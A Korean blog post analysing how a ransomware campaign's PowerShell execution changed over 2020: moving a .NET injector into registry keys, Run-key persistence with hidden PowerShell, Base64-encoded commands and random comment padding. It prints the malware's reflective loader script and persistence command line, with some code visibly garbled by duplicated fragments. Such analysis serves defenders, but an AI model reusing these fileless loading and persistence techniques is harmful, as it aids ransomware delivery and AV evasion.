PowerShell 실행 방식의 변형

남혜리·2022년 8월 13일
0

해킹기법

목록 보기
3/7

문법이 비교적 자유로운 PowerShell 언어 특성을 활용하여 다양하게 변형가능

파일에서 레지스트리로의 변경

기존에는 wscript.exe(JavaScript)가 PowerShell 스크립트를 파일로 드롭 후 해당 파일을 실행했다. 2020년 10월 12일 확인된 변형에서는 더 이상 스크립트를 파일로 드롭하지 않으며 대신 레지스트리 특정 키에 .NET Injector 바이너리를 삽입한 뒤 이를 읽어 메모리에 로드하는 PowerShell 명령어를 실행하는 방식으로 변화하였다. 해당 명령어는 환경 변수와 레지스트리 자동실행 키에 등록된다. 이를 나타낸 구조는 다음 [그림 8]과 같으며 각각의 명령어는 [표 1]과 같다. 자동실행 키에 명령어가 등록되기 때문에 재부팅 시 랜섬웨어 감염 행위가 발현된다.

환경변수
chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]hs);hs);Bytes = [byte[]]::new(hs.Length/2);for(hs.Length / 2);for(i=0; i -lt $hs.Length; $i+=2){Bytes[$i/2] = [convert]::ToByte(hs.Substring(hs.Substring(i, 2), 16)}Bytes};i = 0;While (True){i++;ko=[math]::Sqrt(ko = [math]::Sqrt(i);if (ko -eq 1000){ break}}[byte[]]b = chba(a.replace(“!@#”,ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();
레지스트리 [~CurrentVersion\Run]
“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe” -windowstyle hidden -Command “IEX([Environment]::GetEnvironmentVariable(‘[PC이름]’, ‘User’))”
*레지스트리 [~Software\”PC이름+0″]
4d5a90000300000004000000ffff0000b80000000000000040000000000000000000…

레지스트리 자동실행 등록 행위 제거

2020년 10월 26일 레지스트리 자동실행 등록 행위를 제거했다. 따라서 재부팅 시에 동작하지 않으며, wscript.exe가 직접 환경변수의 명령어를 실행한다. 또한 Base64 코드 중간에 “”를 사용하여 난독화를 시도하였다. 자동실행 등록 행위는 대부분의 AV에서 모니터링 대상이 되므로 빠르게 제거되었을 것이라 추측된다.

“C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe” -e J“AB3AD0AJwAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBFAFg…(중략)…HcAUwB0AHkAbABlACAAaABpAGQAZABlAG4“A

프로세스 트리에 cmd.exe 추가

기존에는 wscript.exe가 직접 powershell.exe을 실행하였으나, CMD 명령어를 통해 PowerShell을 실행하도록 변경되었다. 따라서 감염 과정의 프로세스 트리가 변경되었다.

“C:\Windows\System32\cmd.exe” /c PowerShell -e IABpAGYAKABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlA…(후략)

환경변수 등록 행위 제거, 랜덤한 주석값 추가

환경변수에 명령어를 등록 후 실행하는 행위가 제거되었다. 따라서 레지스트리에 등록된 .NET Injector를 로드하는 PowerShell 명령어를 wscript.exe가 직접 실행한다. 또한 해당 명령어 앞 부분에 랜덤한 주석값을 추가 후 Base64 인코딩하여 감염 환경 마다 완전히 다른 인자를 갖도록 변형되었다.

<# brsjyxdus #>for (i=0;i=0;i -le 700;i++){c=”HKCU:\SOFTWARE\prizbydat”;Try{a=a=a+(Get-ItemProperty -path c).c).i}Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]hs);hs);Bytes = [byte[]]::new(hs.Length/2);for(hs.Length / 2);for(i=0; i -lt $hs.Length; $i+=2){Bytes[$i/2] = [convert]::ToByte(hs.Substring(hs.Substring(i, 2), 16)}Bytes};i = 0;While (True){i++;ko=[math]::Sqrt(ko = [math]::Sqrt(i);if (ko -eq 1000){ break}}[byte[]]b = chba(a.replace(“!@#”,ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();

profile
고장나지 않은

0개의 댓글